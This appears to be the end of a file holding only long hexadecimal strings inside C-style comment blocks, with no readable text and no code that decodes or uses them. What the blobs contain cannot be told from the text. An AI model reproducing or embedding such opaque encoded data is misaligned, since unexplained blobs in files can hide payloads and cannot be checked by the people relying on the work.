dd49c972951b2cc93fc2253465df3fae81821fa37db2c651396bb9e8f171e90387ea0cc3cd326ae9fd664d6fc3c0c5cd09c3cd7a5177dbbf3d8dbe645daa53f05d20a4ea17a8561029f1dad3020b795a2d027760c2b2618ee7e3e2ed9f217499a5c472e2c328d88403d41ab1b0fb1fa087fcaf678ae3e4f55b24cb15e7bff8987ba298f3fb48f0f7f5fad0aa70bc4b09f69706fb91b4558539e3c959ff2a21ddf56242f05818af5145c5bc1d39549c06be91e99ca21254172f468d510d7ae8475d08fb62748939c1a400054d35ce57c6728c68cdb87a3ad52c290ee154de98abd1e290f4beaed222c46e5449914a2a6dc13774458e75fcedcd8f05c180a5cbf4fb2cc8cb1182e7b3779178af30f950d84f2e0f6c82554771274bc262a6611b8131568027137e9773a33515a3f640d443ae29963e267a1489c273179725f5b33c1455890e88b3711b65ec20e5197735b8bfa28e09e142666616f81b186b7fb8dcf1c25efd9ebd6f4bc95afed0a6358e0ee695831dc6f5c5ce214b3cecc942fbd5b25a1b91702c9b02be434232627b2f8e2debfb350a087ae82edd17f161927d7a59cc66515cfa2164e569f363a161a4d6fce312a98de3ae5f33b1a5fc6fc35dde4cf713f1d2c4c29846c5a*/
/*15a8449e75363659d8ca31b69665ee9aba1869a2dc54df8e04cc163074753a3c952ac46692178487f577426fcbac38057d332eda7f7de3bcba66416eb29383c4907aacfabc414a67512b69017114e6bbe4cc327f5cbdc0b36868995cd4d89017cc693cb3ac2fa722b3cf0d6632ee9a19c0c815a92c1b3826ebff5e29d0a90c8a2fb971ee7b17811569cf4624f6e48d5a665041e926ab145f8cfcd491eb77772ec8f9de23eac9aee902b86e436bb41618a5e9c42559979d02558685bd9580e7c9efa9e44a8b32e134e7a93e2d4f36ba424b2c7a20c375da7a0dd094914b9181995d1287a774fe7e6724326427e91e9ab97eca5ca291b129749c74ba794207faf917741c9d3f035e71eb7b91c45675a525a3cc8968fb117a90287ff944e2f53cf29b7d33f769858ecb5caedf5031cfd0fa62be479e7db5e08ef284ec13a86d3e9fbbec8d7ca96641ef9c9d06fa18a2f8e82d272bcf7d88ff4af836733bee56d48cf05d5241643d56498fdfc0070dec0423b7a272187f31a0020f154ec346b371d441a49ae6ffaf08d70e9d6d73e960a595004990d574ce9ea7b7b0f32f57d0105835cac056ada42cb5a09ad895bfa0d0dbd67a26d6cd5567907c4eda7f8c9c62837ef4eb39c288ab32d2ac0c42a570609a3a11ed1c066b737ee7ad7adc5d0690263653dcb914bd4088a4d6d6f549f7fd1841f42771f7d106c0ed6992c1669c04b5db5d97a851f904d32fa6d2de47286fe416fd02b1375f12b8fa0a99d4d08bac38e8defa573aeac5ce380f19222184379dd441713bb65782448f801155a233935fb6e385bb07d73a1bbde3eb3b2d602e4eab862fcd7110958921e010c8bc27b05c3083b5d965e78553b2387057179a3b78c8761cd864287964de29f3ada9b2be00c0ab4b31c2b652c5380c8c2e66f0201ce243d7bba0a5666e018a374fbef090b2064b9e9bbf72273771e3659f191e5010d8f32adf44019af32348307e8a7d8d15504ec04050ab0d512cd4c75c09fe35b044610cbaaed557347814106cdf84509d3e35180b6f46e3832b7c18170f76ffcb4000fa9ea0b2249d25e1d835912810dac04aa5ac874b689924149cfbcb71d0085698bdc9811d4c0fdc853e4f1068e7e78d43f9f4135533a9faae11d2e8be4fd824e3c38a940c2aac966353ebc22e87f9b30c89c3c3658f0226ee9bf8729fe59b39057a9a3e87a0e811d1812e9537e7b88588bd1ae6e9de9673dad90b1feac35d903d68a17acac8ce94ad7e4bd952d4a7df6dee2605a535e6cb47251649cc71a00daeb9db15a957ef452d5ab9a648c5f1846d91ccc6a78f7866066c60dde05bfa9fe0996508b13cfc4f97b4d45bd1a5f958ac6b6bd7eef09df83f9dbb21774bb28e6c20e728bcde10cf709a1d829e63161a040ef651e4e98d9057c02f76a082e1ef2b2ea7a926c03c732b1d675f2ca26495341c9ba67f156be3608bc76f5f366b187b68013e6a992c15a6e8353651282580310bf73a8f529812db9fd7dc890b3ba037e2c05445988e71d09f884c8810fa2fd28e8155aee3fbf81098943ff4f772bc4c0a72ad3e3fa2e1cd81fad36cced350bd43c150d6f587fe431d0b6d2706c2f264c21f077ee37bad144e9f6a6b32064603cc344b1d3335acaa613b8539e1ef0ae0117e115d687d15a01ef0dc44c033a585e9841a5eac2ce673fe61ebd49c1f58f314ef106b67b6602681f8bfaf1229578615ba7cdd2008abac8cf4d7b44c9d38bc57e8dddc7e15770b993ce4b7c0c29ba9ad54afd55ef251230306257f7d0871f90c41ecc85646d0235b8595c384b2fc58d6fba019b0dc839ddb9e1b114cf24ffce7b1605482a9954ec3703b668bf645b0a675559499011cf48ec79a62cb981826453843a461b9c06dbf236c4858efa07fa3345491402e0c9ddd4fdb09c71df6410cd9effcca234227df0467fbd0ff80c8f77252c397b4ca81674bec1e052b0c87aed4087bbe2b1b59431ca2710820b10d773f548fd24cc4393e8d71895628ff0caa1f343db744ed8d9815c8935eae28eb49360b285c1690a43a40fceeb226aef0f4ff3ef11cabf153ef99f05e41b4d8fa80e4b1de19b4ebc842ccfb1344da11d0302daaa97710201e838e44652f439a5dda7718489392c1c35cf966a1c79b624fd4292f0a9936873d42008ac77bdd84a070b2d13db776fbb00329fbf89a631332f17559588779f84fd91223d4ea9db3aea3e88df327595dc7adf0442f1cfff1ddfddaf92e7d25f38497892bf29468713bd9d33f9b3f43cabd67a01a2e068a8bffa281131c182007f0fd2b01e735ab575082646238dca7ad74ddf0c52735596bdee4cb0830d1f4ee0143b1322c73e3768615b9e073d9f26e444f7a0e5828808a04cfb7e2b34fb88abf64a9b9631e2e14f8dd552513c543020c6106e265ddaa275e52bf38c9b174cdf5eec3e44e5def2007eab5dcc0ac1427c65f050d5d714f5e720acfe3b19ae834c7d557a0f47efb48faa1aa712e3bedbc7e22a9ef78a7ecece4ec2a3308da25556d8feeb78534edb48ba0c181c5e95f2009befd433bea85de7ed1becb378c37da58f0a498af65d5cceb59f47835707aa80f6475490cbfddeea6bd9776bee724acd116d690c045e8241505ed893169b878dd52b700dcbe0c41915880ade5d5f105d3377b560b312e9c9c91b902442ea20436f24451317e9328a56324e7437c17568624d90a7edf90d81a5fd36597dad9f8afe12fa2d2de7d3449b8678c49d30f85198477e0c7f7e4d2bfcef5bd696af6c7e4f3986d5faf3dee5c3d5e0072746eaa2c3d8915d9dc986a7dec2fc78a8553148d9e7446429407*/
/*3a265042cb5bc5d9d37086f1893020d35a524ebe7a4a0c23d9eaa47f63b37740f5d21c065cb6cd5af0b4676af03f11e95efbb692dad675ad491747f5c78904c18847004d5ae7f484a8894772280daca73598e333c3f11d82466f60d59739c8f7c98d6081e210697e81db0eb40ccd8fde4763d34a28c9da22e8e1b45fc53759810a96383229b082e3d76a8158520ce9d0770b030586a50fe7b57bbab8cf952fca41cf29bdcf8e15f31cd6bd5adcba35a766faca13d3e416a475b18852094d1ba5cb5fb725e71166e3dcf6f35c99256ce85e2338f53a93640216b8356970eff04acc1f251c016e65606fa0d4c9c4f1ef937cefcfb6e15e60f9553bae33a0947f4d88cf4642b396cafe616bc07870b46f093eec75b2c34edd4a5ed22b5b4f07eba6525b8fb518e728426c8091b9e72d4b96eb7f8b17fa7a5c262f270e14acc2800e3f6851d7e610793e89deeb7ca8cefbc2a1097b590a89eb0a38cf138e7b45f59ad62d79059802cd07070e2bcadc33f0f0706bb31328a4557ea8e77ec391e0fca0f7528399c60cff9d81dc531e1c6a8426173a324d872b5a016437a55d5e57fc9784cdc8889b8c65320811f1886d4c4f98084cd26e7422622d17f9584b7ba595d3c1bc6373a1e1059134846f4dbcb3a6f1c159070a69fa9f3aa3097db044dddc73a3e3db92254c9ca288206479c8eebaf7353ee9f43eaf3ddeabcec23147b20b73de2b7e231a8910e888a8a3ed7c7bdbf1fb0cf20ff776eb61806e5ac08bc1279c9eafe56743415c13d141b6f474103fdde25d800b3a8080800f6487574e2a4b1555390bed7eb198012320c28c0a3fbe4b81a533b615dfd2817368eba8267023fe2295a58c9339f5725bb43286e5a1919f0054d5642a67be304034c0e0731181c4493827ab5ca959be8937a3031f598aebd4003b85ba72638bb4cddd2a63ebdd9320816401685744dbb613b342556a00cbef0dc26739790b99f2b27e1e5a7d6f22581655623a01667183009d03e5d8dbebea34738fd55396300da32e0913e91881c95672f4a317c3efb4f1797ed5ff493b34dfbc7097c34ef9fb49aaa70dcc87e9ef5cea798f97fcc633fdc7cc82df2e438cff3a42b43d179a4a417c7622c13c75ceee734b0c817af936e23f885c950a10ac9e93e3fff119b05ef63f05b3b66f2430458d05f7ea0be6143f7d476daf303323d39825c6a373a57904db5aba899422ebc596fecb00eeb69829abd37ae6ef0b9d5cacbd7d7c6dba16c99cfcbe5ec3c54c9cea99a44bb20d45da03c400a62b833a739856c08570ce3d3eec30852042d274a0d02f315c4af858833133cc8f178446319a92425af597cb1085225895c007ce132ab113fade5c7ea4aa72a2a11379eed422ae1e157e8642d0ce267cc79edf41ee53d8499c37c5ae8560d53c87badfb1769d8fc51c6214f88e11d5451ce3e6778884d2dba18efe56a061a71e66a5719c9f97d4aaa57472bbdbf72296e658f0ffbd79e419976135d5332c4396ebdcc7132cd1501e1b3bbf402a8bb39dc32a8b0d80789f59ae3bfbe67b3362cc51eb0847265762cfbb33233a5b6454a922d28d6ee3af79f3fb07c855fdc88a7a49e5c46ade82008267a153d363b91359f0caf06e354844d421b1b5db736b8be5f4fce53d9604125d72c7c6a7a21b1c7202b1bde3f33621f6c0387f8fa1177daca22e69aa1dd3f16d9114a51c0928641515111bcef072426073d9768481731fa622f492c7837ace780ab9946ae786d6cf2f0a4ca1587a07bfb2eaaacfbf6487baffd1bcce21ab5ba301c896f2caa9fb43c73a5ff99ee90b338d2f483ac74ef1e05efefd9eff520a94a851cc11c23f6a4cb8feec23f8acf8917f06622167642eedd5d1607189239cc2c0ca84d9e87ab2eede6e2bc919777e0d166711afd096cb3523a345178f694eb790313d9486a23dce67decd2d6ddc4b26423c9039653c277ac6fb692ab5586e73e1cdefdada1aaca0036d9d76fee0b8db926c9c68d7f08d0461131c306a032998a6dc6d06568365a69ad9c8d24c39e4040467f066a272cb476d40ba5fa666d9e0e1c4a85b475ccb3803bfe8f535da20f0c1e48b3c2254dcb43499e86c72c4cfd1c8f3fc1b8de9c590a9732583fa73a6abb6202c055c24b932ddc78d8cdf1ccbd000b0bc3fd70b467ab6d03f1f24fdcc75a95d4d5dee257dfa56ae6a109b0ba2f17ad95bbf2d02c2764a0454041107aaaaffee5f9e45bd3a987e929fd9d7a4d68494e551172ab47ff28f1e07ad711598d3687a8b7f5f0726a1d50340332bd6d61c7f7063eb553e3e0d6fbdd9e47ffa9183a05acf336879e6e71335ae3c1267e204778d0e4cf024bd1861ee974ca5deb1ae3e18c60ff653f8b85ae67cd7e4cd4776ceb04c370f364130256fb0cfc6f619088353dcd119a2b836ff53c7219339dd7c1e28eedc8e5320f4fb2e7894e125c38cf66bb4ac1e9904ef88e9ddea6d843dd143f0d19d5adc5ea94ee1176df2c09bd92e40b21c5e7126172cba06ff51fa6c84f30953d384fea34256b38b4dd38011b8bf41b4d487d658fb72104d886a8fe53beab4ae11a3d2c2276a6bb60f6731a3cedc1931e7ee8360917690a43ce6968311062ae668ee54a62ded336bd34a1f377854737456e4c0bb006f8861f736978ef3801244346d211a69b454fe0a3ed69a8a540b903b9d9a5e654b2335fac02ffcc27bb9e64720a1d803fc1e58413627dd53d959c6498d0b02ba53d3f63b3db8402ae89b5d40eb7e259d7a876019836458ee4a410aee9c615e72bde2b05709a301f8fe72b3b4897916ae58432c146d55a9b2df5e3ef60c8e4c6a2485d8*/
/*2c3069d651e801fafa2219e4d2de8ecf02517a8e9832f4069fd651e2b325201cf4f72922ab29bc4f5ef27556a080f59ae32aa60f62981b10ec347ff81dd522f731cea4f1e8ee0c5b323c49885deade6ea695ec4d4ed15c7f552d832fd4a30c0d7de55b74d3db178a0167b18eb77df27f6d2df34a018e5939293ae25e96a3bcc27774f6fb6cdf59988d970124f681801d8a96fe3de62881bc7e3ad5a26cd186c2bbcc13aab7067eb177c9fe4ec167397c02d286a3ef73ff31a40f3a46bc5aeee6ea528ea24356b06a7830b702a0488cc2ebc7f91e40c1e79c72756bc5497588e7a5055b911b5de4898a8c2406d2d84732cfa23fe0114d46b5d38d21a73b5bd4f0ce2a0a26f22b186fde4499188412d53e7b2fde52cb4c546f11d29f31f13af55e56c5145c6a9d421958cf4b50a03a18ac14c24c0fb17efa553002e3d1bc42002b3813f3cf0ddfdc6591b781cd0a59feace754e80bfbc517738f10344bf00ca447223f6163ea61b0bad09257daec317c7bf912acaaff64f4bd29d98967bdf4847233784f3bffb47dd016f136c6c99c22360b7f0898ec0080a4ceb35553502cccfa0b47a4741f8099b16c9381c9c57bc2827ab11e50cf4162150358995fa087d94ad57263060eff5c2a2042268164eacd0e9135e78ec3d4567c59c84c5f63916f846ecbf60dfe10f151cd7cf461dd20288a31e21e3494820e0e81bf0e7de142931332548d3925fe045ea71d091c2c3c82e11fcd72d1e137729d9df5ef5fff91fc8e6cb9ca9999c58a015418f66e778dbc5efd2a0628942c276a40c51a5dacf4fd79c7acfb4330e42130ac7cf311f2d0b0f6a93194b2ea6806a74b56049a9b897e7b5d7bd9811bd94292757259d231e06f3db591e3c0d69b870c743eacdefb0740e449bd88db9ad0a8166594690db8fc08806e43b36f85f265b195966c5b71e0acc9079ae667537d960fc7b570266b9c8dd9c5cf1ec87974e0e9b1e012adaf017a6943a34b103e91277dce9f41402ab3d600b6aa8193e50b1012427c9e666d834caf39cb49603294538e9fe263085711efeedc5d186b01e6a412f703e1bae468455c63788a82c4b9fd6be464295271b89733aac73f19e6d57485beae040ee1a0179457b119c4b86a81da283e7c52aa904215e57638a86bb600039d9e1d737c90b01f6d8adbcb597aef503d8346a26ef1924c03e19a7ecd0cf0cc157a0536b1c4a3dbed7a5ddf649e49848967bd2d5dc2ecad97b51858e09f5a068a670bfcd1adb2da0256c8de8aaa2383402ac9bcbdf0a38e7791e3ecb9d27e25ec5638e96727882a66bf4d079545185211e6f8a77e472368b982f9cc71ec0c98e4d64cc0a9608501f97e612ac9fe7f2e646fdf9817414073249e302c8dce2275f75854e4f1a8d050474850911fce6fff2e34c6fe760c69acd54c9396e17eb669489ab280536a9f226974da3b13e335ece57d575b3c99fe69a593dfe70a7f18ddc5d22db5c533459a5ed9b81d73146c55adc85f9644f169c8d116895766e5b4f7c30bf4d1d7047fff7c4f73fe0202a836e3aa41c23fc6a119eab59a839a01cb3e5e544a04fab3e6499d81308a499447197ad3d455958ad555f300ed3f5b0c6cad87f0f405be004bb3fe326c32f791ac9fb92eb8a8791f7b3617f8437afa0a2e6f3bd1246cbaf2ac562c33f480378b376e20813f3f482c68e6b1a54fb166943b70f944f3784f0a60cd46cfe7672ef4b942c9b5b30c8d5fcd8d1df52796805bbd5958c9fc042274aec913fb13e2a68ab71d8e0cbc8357385df260058e36bf364f72d8ff60453733ee92ca2a94091c714ac441f5d868f73ca610f7c328fff4c9ce167b325be71c6fb83afdc6571fade8089e6cd1666859c6200de13898f0d47eb0ade6d87f80631d1522775e18c97b817449e62428efb80aeae20b685d714e8cec1b670a1e1145c27a4e8f7b4f6d9af7fde47b65730bf1c3b484f26ea38f9d5585c73a01e67907ef3e6f070ddf75502ae24c62cb8ca10e538b0d333b9da7162239572e9d2a754ef68d8867c1ded38ccbb96ecbb771b6a7383f0d38b1fd8f0e06e686c2c8165d29b228651bd74672a5e0410cbdd5a8edf6f8d51f164a8ddab582a06ad26cd462a4edec7877aafd95b7b455dc3077a17d14f30032663096d4e2591a7477d5069bef2f33df4ff19e496aef7d08d7052c1d5bab8cea63fa6059e4da6b495293e66c51f09ddffc9438c19cc46d311e9c887ea573e4e2e40765551837e752af8217c6aaad320115bec39d54abd8e8312cc7d4c3e82170c376a069ae424e4aa6f36bd6d8caa30226a49ea98d794a5c8a3de668fa10e553d49e5b74968ad3e22ceae656525e06af857ef05fc5b2f5c332d140a1b01ecfd29ff2621547082516a6851cc4070be57539c94f43e874389c5d91b13a27edf629f46e4b8a9b8e03444caceb912ad4ae904a46bd396e3475ddd992f9bdbd0bd270a7e11d77df18200ff3aa4f8595fd41a4a63363aca8a27e7e2f925037889e80fa0138461f4921cc77b7c7a04f26c31a441db283a5c38ac3d1973888b8ee8c91f7b867884e8d12aedb4c1940d1239bea4c2b0b194b2cb6aba6b86423364c8c0fecf5bca9966f8e48f7ed88c153baf2f76b20eef9c836a6ec4283d2b980f2afad66595142d9b2776bbeff6d19bde522253a6583b939dc46466e1c69b028245f85f5e3fb2a3fb5a70dc90360e960ca34e0bd4684acf2dc29faeaf470602cd0c06da2ec2d02d6b2d9562d86c97015a41c0e3aa1ce98252c2fdf2252c2712d6a6679a2ccb9764537c6514f0a84b6a69a425c0cacfd81549a3430eb9095e4a5987f8b63*/
/*1b98e3a6af06895d2460df0c7a466b48a261f4d65c30b264e8b075456feb3695d7070141de83deb1ecc76f145560be7145aa6762affb08fdcda36fffaa29566aeed607b940296f2b45c00d422bd062693412d78c35917a6b41528dcd6ba4c35b8996ccccb9adf6ebc97619afbfd769249eb2ad139cfbeceffbf98ae940ccbeee05e477e0e9b9e9db627fcfebf3375a5c1e2052649e0ffb251d3376e34da2b2e58001e7e1bc1f1f68c5ff874778ebe6553d9d421af4dd0aaa5185c30121e34412581bbbe365ad0e715a9f9e222c913e180270712763697d37eba0cdee4a9440ca9f3978001e39f737e541283cbd731566337a3ab91e08b5593cd171ec480588cdc0980f6a1b17dd658ca17df83a0594232abf6602b6cd22a8fc0f431ca3e9d259dbab64b475118253d6d0afff1efd024d45f7b9a2380abebb9913ecfe6bbb638929e9e01ada77af46c681f9d100a6bca76fadc5a1c761af99d3bebc44c75fe1fc442691762fd7449ffd04485979e94bc910ab6542b447a9ccce4769dd36d622c53c0bed0f7180bbd0e08d4b92965addf89cd251bf46d9e38cc299d08ccf5b574a1e8eeb82b38ac2101c07034eda8180d4d72b6bcd9c15f71c0ddcb752d291d8d02f0a678054911bd7c446d65ea229c9e6f808d72b49f36e6d3661bba5cb1eaf4567daa10740a52a58fa52a240e59e7b68a002ce321c2560bd4ad711c6c08a4b58ba914df054b39219a929d237995f6c2a3c6447739a111cccc006f0af19f210cf1082d4bdd052033af6287c100cb45047c8cf9924930e29ac78355f7864872310050a2c7e26862e1300b85804799f1b6b9885db7c2b1ebaeb29b3521120dd4afc4fb57cb7cf466dcbb5a49a361a7f85642d597135dd65569e1e07379c3a0344894d83d3b1931bd74efe52281ccd6cb9ea98ea42a3d5af0299dfd2f0f80a7be76e5ea69c460b80ce0c9627f2be1e0ac6d23aeaf59521458e6f8fabb49efafc8be8243ffa90710c9ef30a9f26ce485f1b372e39ddd882822adb68e6c9210a67ea22ee65dd5ebdf4aea01319e78a62fd7b407f9e00e2abe983f1e751ce01378a659f961d30f6688ff9ac7401e9a0e84d7afea7cdd255976b0935d988ae91fc99c808a469ea953062b739cbf6faaf84424771ea16a8b43f962c6d532b7834340cf444129c6276b3310e3a0ff7eb2d900ec3b37c1aa2439b87e6ef49ded56cc814d6dc07e1d67e3ba000fb18032eb8f9e5e68de87b658faaacf57e437af518e4fd63982ad649a7372e85476798568a251137ebecaaa43b0b4dbbd02b7354963df1e5b5e948dfe9b0ac8e664da6c45d57bf2ebfc345c4479c10303d618673346fae4a549816bafbc57eb30c7f74716e7bad4d2591dc1224df4b7ca815c2ff62b51c2399eec1cf336a728086c7178ade2832ae07ad0280ba0298ab2360d06fbd93f1de2aad5f97fcae38a6e2b7027b07b9d89a51b8efc4ce183457d4b184ef959ec8355c8395e5e0b0c5a8e68c1e334106b5d635d9b299dd9cbf7cfb13fe92a08b0075f53fcf13768d0cd362c565a86f5e77ecbf0869a0a3b66626311c2351767d24f634dfece1c1d1b702addbba83ce0f9c7de68e3db7a7177aee2cf3e53a780eb8fc1f2ee091b027df274a706c3dd3da213a780a69d1130586d38d660548a300f8cc8ce83752539913c6af820758e30c34951307e9ace61e170e55b63feee47f1d95e04baa537dd3a163856751c3c3f393c2627b068d8193429b86a8a06176a04554054391728a7a7d5c82c1885d0572d4cc75d512f4c053673d2f9456eb42f39fd84433fa3c438c03122f9afeef9b1fef36c292ee844333aacd5e43ac137c28657894947668b91b1d38a1989f73db9473185f1bb136dbbf7ea4325957dd66ff400fdf186d55d026f76b1a12badedf6729223f505e7c00908ffa32936aec9c2750ab4555774c0ca32fc5fd077decf33355ebae5545f1ebac7ab701502c3aae0404355b9d0185c389f20cf8e8b7c3aa4edec25b9eb077d36dc3cbb1b2e26289aa3d14c8c04ee17d3417ae7072477823e0531de9e200ea6bafa9e3f459d18c9f7b27a400cc4438abdb16640eb5d68c43749aad9e7873e14ec35a4834a08554de4b7a89ebef35d8e72507e1b2cf1ddf78f67ceb73cf9347a202a733a3269cc61385047fe8303b7eb2a07352914fd7d7ce3bcd5b5349405667e9920c857a15c4f15f2d105626c8b6e6868fa95147375c999f9f7d6b0c3e7699fb9f914688630f78493edff34a2d9dad24c74bb37fe42c481cc0a032df69db97fd67c2ee1dca553caf2da80493d72c5f85b8ebf99b642e961fb1a04ed110d23f7c753e0d1321045ec67d36ff28ec802bda77b26cacd4118060aceda13b37cce745ed4b7a8e57b0bde8cd0b2243db93b1febec073d5d06447e6654fd7901de12495d686fd89b97d149917ed4ca485d03a632242a9f84f08178d7413ec7f81a06d21278edba66a8143fdc2735c90a223ddf82ac3dae2ce7535a455e6203f95112008b982becefc9271811dd87821b26186969be1a0653d9b7dc6f3b5b6ff90478c555aa7e05534f34b4374885a903bf4ed6f22bd60b7428ce5251e5abdbf08cdd4f5e613f9e298521e8a6df1e644469dd2c13cd983494d3c7161277eab4dc5ec635f4aec8db5ebd42087909a17d8accef639ce7ac7011634859fb2be78c6623a4282041690c58f2950a3114b910bee0c471621e31aae0a0bac7ee8ecd8874593309cc50b255f2e13206c6d924655e502709280be8a4e83f74d0055408ef785849ab98f799d1d20357526c87f25ffd541d93aa860f0c12e8aa34f7aedad*/
/*5886ad0da669dc6e47170e4c24ac6304411ab7dbb55fc61fe7bf87297e0d1ea45e7eba20b9b6f31c8b10d76b7a6c12995bc9fd26bb89cf43c3ffa045c60b1d4f2f543275ec7355ce854b78ad610eadac5c37102823123368c0ac863b8753f4a656af5d9107921377d3572310658dff866a06ff20ad1857e12b8ea2500803fd91af35b72f62066af6d912cd98045ddd6b25d9a1af0ab3a894802a1900d100d682c5e97932a4c063931c53502c2b6eb2714294d85ae81007c11ec090fdb2510ae1a20eae434ef7ef67cfa242b1194aca052bfbe76768ce75c7c2d560e1a2daae14ff84a42cad89dd8ee4b1fcee9a005af757d01ab54a7ed2d55327313b6ccc93624036e0d3680eb3f670386af46fcb65dc8628f75e136605fab870286bf541cee8cf40afa958270436efb4fe93333b78739de94cb37a6a55f6c0b7b855db17d1a56b8f03273d75409f16c8a6508ce9794c3931abe5466d662d5792c7207d56331143364ffa55c3355d134924dd2e1eaacc6267d6fd60382ed060c8950e9957ce9e951ec857bd97fd9ee53577590460e1618647661eeea1587ead3f36bbbd9b90375b46b95293bcda03e977f831d6f96e08732759b77b1a36dc748906fe5ed55b28058b3e6e0bf751c50d37f96fe3a445d51cfd6dbb49f7546bc34a040e26887b70efd657e2528cb26805f3697927a5e2b9cfaa39b6940988974490a21cb47ec10775151659d9929ce963b7b7f52df99eb8fc65cb993a60a2e1ef099663f3247b9cecb2432ff02ce46e67a8debcf0439adc676f77c380d02c5da56ddb564d20c9038598773a735c7acce703d3d68711bfbf7b264f2109b43b34f9e07c69b36dbebdc2f877e282f7ae772fb82c5aa983f0eece4c13fae418f0f6b29bb73eff5c3bd2870bda1104a3e8beb46534d841159b45427bc259bf03465a3c63890073730459e8d83621d88b439019044c1343868f1a6656d0cc0db7b0ae235e1a0d0887b0bf78f85bf3f69bb82b517dbf590c57e30010d38f884307d8992abc41918cb6255de8e3b0d8dd1aee235f2e9cd6be8e15632b7624680119190a00dc58b7c16f8ec247d9d99346e43a17bccd76490c00c5c24f772c9e07f2083fd7ff67cc1631bb6dd58e8102bfa5cc50a1cae32ab31165515234ec92bbe193e5f342cb03622bbced831713899afe06185eee06203d8651edad06ed422994cdd0950f8c34293a10191ac5541da77769df558917387a5e295960352c0bda3365ce9a8ae57b4056b8241fb68efe97da74eb564403d9f7ade58e193393eb60dfb08ab09781a3b4fa291d36fee8622e5ebf2983fc883932f239a756a87944d53422ca40473a1feaf03c0d6c90ea2538badf1ee7281367d289b6a197a49466f43911d7357c0a5a67f6764cb24f1cb8c31afb73c185f57a52bbb168848cbb15c98bbda8e320ed348624fe437407407f7d3624a3820bca4790a9748d505cc43db1e1ec9f6e048b30b9b003df72d1e190e4dc91f9d386306aea4a4e0ff576e99e412a3380090a207d52d112622aac622ac40cadc8ec629386005f9127bff50f94f6c25a7d291fbd40bed41acda4a133da36c5ffbb12474ca269f5cb1c79537678c747b01675e14de2f53f1a35ee27bfdd60219fbc27c3e9a6d0c2887b04fd9f1a0870cfb0c9a409bbd1f80366c10a7c076550310a82ddc09b1a9660e09c07dafdc60000d2abfd9082eb9245897627008b305af4913208f208282d95193f1e4e747c3edb4eab38c7c73c0bb5ab39d150118295f20b37dc103d7cc8b77b7b9180732454dc83d7ecad5c079d561d824fc1cca6a9b800b2db4fd182260e34a1c7c24bdba95961d95d27eceeee4fa57512ca13dbcc40d561417a07b1f6055a8755f33e809c461ac0be8dbba70d94d72ddfa141e52d7a36b90dd6ee15ea050e489873b961261c30dbf8be926697dbd83574713b37589a8b01127a0a630e5626ed317d079e01d74d401a0f97dad25cd026a8f2d0b201b28365470e85f85987fc7842cf15f6afc0e2c1624dc01c62b011c7b1ff2bd4d81545de812aca4ce538127772f2a0b121386dc49fb72c2858637df37aa50298b8f9f8480485b15d117fd8a97a8f18289149a97b57e2f0ac9c4531d74c4fe7bb0b8cbd0029c671218c20d5f39c0eb1669ad0c2f557fb25b570e63385eb9851a6c2a42d53c261af714af9d5840a1013a7c9d91a9d71aee4a7681bab52554168aeee0e3f1a582e3c6228d0dabc623f57daa038c2a53756181f5edc3eee2e2b62075a21e04e7b44eb7601eb57644d8810fd5471d835440ccb89a0467ea921edf0318214fd2ca566edf7435555c561be29d6cb9b6cf2d6f11ab1d6b51eeab0634c34125634aae7365b53cb3c0aa05a9d5ef59f24bab4a8f7fac96c026b8158e7caf3f056a47f39a2c911af24e5c4e2531a6049e82eba9719738a458525de888461b740e3b42a983433102faf0b9657d4c66dd434a0fb35512f2ede0cc4d82a0e216ecb55b329f88436a53a6acfddf00eb03d2dc44736fad909dbe814279e35de26574f9895317b9ed680ed71c590ab18363a366eef31ebccf4818eeb3f84fad31020d0c490d11afd34c9a67c0bb100efc535bcd050d506e95390c4985ffe9e2341540cdd58154e672322d665ddc799e440080cb52307750f71eb4096ade79d1fe6273dd650405b3a20e5e25eeb8b44f4a4b876b6ce9276d6f03a505451abbc080d8d3600a466f1350ace04f08fcefb60a1de9bcdd52c1888e5d7dfa59cc19ed5e3272babe1a243298f88172a2e1dae88d59d6693a2ceb61102393b830e040d1150d3e0e9a5677761e32d4d7cb0*/
/*3fe7fce668338eb03bbaee69557a2ddefac639d4f9023b146478b91c5e6febd7dd8abec7cd19cff4b9426424b18fb4675ad63f1135f8a07036041687ffb80e90e5b40c6e014e78d63744949c3d11e3d22585718858b94011582a15702ea3548c91d3a80706a419441a2ecff7712a65636bfae502fd492d6607555691798cbe6d4c9d708175760eb2ac4c6c9faa7bb9d7f05e5277c5c8664cb67b8c08c314f7641f9f917ff1493f8973524d006302f7a28a5fae9d1e5ad231865d5de921d8e84d91faf8bd624034e44093a8518d082e27ebab292001908faabc18107add3d8d81718bf6f48a8f1a69c6c13f610a5eff6b5496f3ca2bd3add222a6e44177286323b3ace39e4e54027c9df218290de6cd11b1b9107c0e16535ed930961287cdccae72021c781627a8ed78ebf722e885718b306beec3dedcd87e3dbdc15636d3d773c1673b5af5b3d0b289aca9eebe2fb84b9a524f54818e6bf28b1c08a32c83e9c880a5708b35d02b10343af334e5d3f95e3074c52c928118560df9941c23eb73174e80e8869c2b2923b84066ca0f8aa2c3a3c502ebd1a124c6edd451c45b23202223be2948bbdda82b5855dffb11b3a9a4cc61656148ac21504907119687665def17d6c70aeee349e10d3f6891c3ec9da8baf93099b89babcaba58d3b1d471a0d49d43473a4a084d30057ca9f17a88bfb19a3f659b6a7f3b8d8bdffc86cc2e7a1823e58fbb8cb27fe1886964f31f468bc77b139941e28b03e8150af26765efa9af817a719d730ae2b5fc9508e5c36b30609801e7a8edb4cc90323263cd2f0dca3bdc91b61756610b12025470fcbe1577de117f4a8a9a6e296a175b6cd3287e7c199a0830acba0d959cd2b10db70c3964354dff067b3dabc9ea8d10f58c7a7766141f69afe6faf67ad78d5f0e327614802a50cf9887745ba003127e5b7a5a52b75c61b607bc9a46c409ae7598a01f9729f8caae9ba1a4ba641e27418e81bc545627c39a61bac36c2c9e930b71c6e9c1a64d0d9588badb68d7e6208f002ead8bcfa4871e9ccc487ffb190dd75b8c32dcaf0f2cf8fa407c29d147fa6272f76c80416de9af2dcb2e637b597c57bf2037e589f9831572b0de3f5d5b6a3ad40ab15c933d9ab919b8e1821a95ed73db43f01410eca4fbfd7637dd5aa101683e20181e240e27d3a9a3a96933c6a6a2af5396c80906684c9c3806b72b0f98ce39cb3336150e792ec784c563c1bb4bb733da0ed4caec773715eac424a9d62fa802dc2b6ebe1258f58b5f36abf045b4b694bd63c3500bc1f2cd78b338dbc2460469c485f44dc4626013d32517055e9f2e857fe79654a635a5e9eb11ac7820e2203f9bca343358fe7a0f60f1b1aae3acd2ccdbad74db557ebe9dd04481433909f56c6713c294a90b037ab1e4c269748a1479af45dce70e92ff718f992afaa07e7528fc106385979dd78b288781a39de165d38cecbb5793